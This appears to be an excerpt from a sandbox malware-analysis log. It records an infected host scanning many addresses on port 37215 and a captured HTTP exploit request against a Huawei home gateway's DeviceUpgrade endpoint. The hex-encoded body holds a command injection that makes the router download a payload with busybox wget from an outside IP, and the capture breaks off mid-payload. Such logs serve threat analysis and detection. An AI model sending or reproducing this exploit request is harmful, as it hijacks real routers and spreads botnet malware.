Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.169.175.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.140.195.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.175.242.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.250.154.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.93.186.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.146.231.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.205.158.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.5.5.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.69.44.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.158.135.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.168.4.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.36.67.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.31.224.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.204.44.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.241.203.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.140.66.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.35.31.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.21.202.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.162.205.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.88.36.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.150.74.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.166.81.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.68.54.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.110.220.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.123.72.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.146.4.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.82.124.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.232.38.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.18.122.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.165.7.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.38.30.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.35.34.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.28.18.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.210.111.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.14.221.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.167.127.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.160.129.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.61.65.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.133.180.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.192.230.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.19.21.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.165.74.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.208.43.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.88.25.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.11.16.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.122.234.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.203.52.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.176.126.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.214.205.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.83.93.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.96.13.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.175.140.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.41.179.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.45.174.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.147.35.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.235.50.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.205.212.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.249.102.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.22.92.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.9.132.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.42.252.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.61.116.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.194.236.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.86.105.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.22.114.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.231.93.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.157.58.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.17.90.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.196.98.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.126.112.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.111.253.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.119.187.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.161.173.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.102.125.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.23.60.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.101.84.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.251.103.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.47.151.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.229.169.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.103.97.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.86.91.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.79.21.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.242.254.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.127.26.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.159.18.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.144.148.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.222.218.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.136.190.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.246.118.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.44.77.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.81.208.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.113.184.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.175.185.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.197.70.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.204.27.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.224.53.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.79.198.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.77.41.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.190.8.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.100.173.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.244.128.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.52.187.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.206.143.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.134.114.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.61.242.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.229.206.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.43.47.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.3.177.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.17.164.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.64.244.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.164.217.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.79.134.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.238.89.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.217.36.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.233.136.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.174.150.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.241.215.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.32.88.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.78.215.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.190.149.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.46.248.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.222.150.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.218.116.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.21.9.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.209.31.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.83.53.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.195.250.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.82.136.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.142.128.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.233.5.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.51.48.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.126.84.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.230.91.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.192.147.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.181.52.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.93.91.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.18.184.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.23.124.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.58.178.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.124.114.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.190.26.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.88.37.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.89.86.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.5.142.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.21.97.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.90.213.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.151.65.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.71.185.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.244.203.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.124.9.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.220.128.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.57.41.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.83.198.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.211.68.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.233.184.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.48.157.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.195.56.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.47.148.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.160.72.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.81.220.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.207.72.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.132.235.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.124.243.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.224.103.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:51156 -> 92.118.56.203:59666
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.134.74.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.174.42.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.21.75.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.83.123.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.110.189.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.181.109.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.208.220.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.244.114.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.97.63.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.165.224.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.79.25.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.195.165.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.102.138.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.156.112.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.55.109.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.112.138.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.174.76.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.205.155.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.164.52.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.147.218.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.129.82.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.45.134.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.50.190.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.26.177.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.225.135.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.108.64.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.48.242.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.201.146.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.215.17.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.166.158.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.27.136.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.106.187.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.111.250.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.165.149.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.183.155.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.2.65.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.211.147.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.186.82.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.78.118.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.110.100.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.11.187.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.208.188.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.73.45.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.27.23.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.143.226.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.73.7.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.34.183.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.17.189.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.165.18.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.178.109.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.147.137.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.247.237.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.132.121.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.230.122.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.60.18.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.182.251.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.55.93.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.241.56.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.197.62.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.173.190.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.169.111.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.111.224.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.64.186.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.139.97.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.27.191.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.8.165.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.47.209.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.200.69.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.44.172.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.88.97.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.63.45.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.169.221.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.46.184.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.93.179.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.238.170.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.48.72.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.116.33.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.198.165.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.130.198.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.172.123.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.38.14.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.132.69.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.187.82.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.39.44.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.240.117.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.183.181.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.151.243.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.228.117.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.118.110.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.175.240.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.229.8.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.42.2.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.134.145.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.152.33.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.5.57.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.142.33.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.110.226.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.65.15.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.111.209.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.124.181.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.42.115.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.110.243.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.112.248.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.255.244.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.31.77.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.99.12.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.243.193.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.103.238.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.185.28.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.250.212.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.54.26.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.86.199.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.20.103.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.44.188.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.61.86.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.58.217.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.24.93.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.81.211.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.225.92.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.196.173.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.81.108.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.109.28.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.87.25.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.119.132.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.44.252.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.83.122.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.221.198.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.35.79.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.178.110.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.139.43.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.29.30.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.146.194.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.246.127.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.30.231.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.21.66.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.172.169.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.4.232.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.199.86.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.98.112.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.88.195.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.38.212.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.23.196.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.171.52.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.77.156.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.194.67.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.164.49.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.201.215.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.254.1.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.152.209.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.1.177.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.148.94.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.144.136.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.199.124.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.115.26.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.44.171.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.124.199.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.191.240.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.130.57.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.191.228.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.44.109.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.138.83.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.183.118.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.39.194.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.83.215.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.110.30.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.64.87.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.7.160.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.99.161.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.91.156.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.165.177.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.255.210.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.183.123.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.128.245.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 197.136.150.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.126.133.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.50.109.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.120.183.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 156.138.1.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:56446 -> 41.169.219.211:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 